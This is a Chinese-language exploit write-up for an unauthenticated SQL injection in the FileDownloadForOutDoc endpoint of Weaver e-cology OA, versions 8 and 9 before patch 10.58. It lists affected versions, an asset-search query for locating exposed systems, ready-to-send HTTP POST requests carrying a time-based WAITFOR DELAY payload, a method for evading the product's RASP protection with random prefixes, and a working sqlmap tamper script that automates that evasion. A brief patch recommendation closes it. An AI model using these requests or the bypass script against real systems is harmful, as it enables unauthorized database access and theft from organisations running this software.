泛微OA 最新前台未授权sql注入

漏洞介绍

泛微e-cology是一款由泛微网络科技开发的协同管理平台，支持人力资源、财务、行政等多功能管理和移动办公。

泛微e-cology FileDownloadForOutDoc 未对用户的输入进行有效的过滤，直接将其拼接进了SQL查询语句中，导致系统出现SQL注入漏洞。

影响版本

部分e-cology 8且补丁版本<10.58.0

部分e-cology 9且补丁版本<10.58.0

资产测绘

app=“泛微-协同商务系统”

漏洞复现

1.访问泛微OA业务系统

2.检测payload

POST /weaver/weaver.file.FileDownloadForOutDoc HTTP/1.1
Host: ip:port
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5672.93 Safari/537.36
Content-Length: 45
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Connection: close

fileid=3+WAITFOR+DELAY+'0:0:5'&isFromOutImg=1

3.由于泛微OA启用了RASP，同一个请求执行两次会被拦截，所以需要在请求包中添加随机参数；下面是RASP的介绍

RASP是Runtime Application Self-Protection（运行时应用自我保护）的缩写，是一种用于保护应用程序免受攻击的安全技术。它是在应用程序运行时进行安全检测和保护的一种方法，可以在应用程序本身内部或与应用程序紧密集成的组件中实现。

POST /weaver/weaver.file.FileDownloadForOutDoc HTTP/1.1
Host: ip:port
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5672.93 Safari/537.36
Content-Length: 45
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Connection: close

fileid={random}+WAITFOR+DELAY+'0:0:5'&isFromOutImg=1

4.加载tamper脚本进行注入

import random
from lib.core.enums import PRIORITY

__priority__ = PRIORITY.HIGH


def tamper(payload, **kwargs):
    res = ""
    ran = random.randint(1,2**20)
    res = str(ran)+payload
    return res

修复建议

目前官方已发布安全补丁，建议受影响用户尽快将补丁版本升级至10.58及以上。

https://www.weaver.com.cn/cs/securityDownload.asp#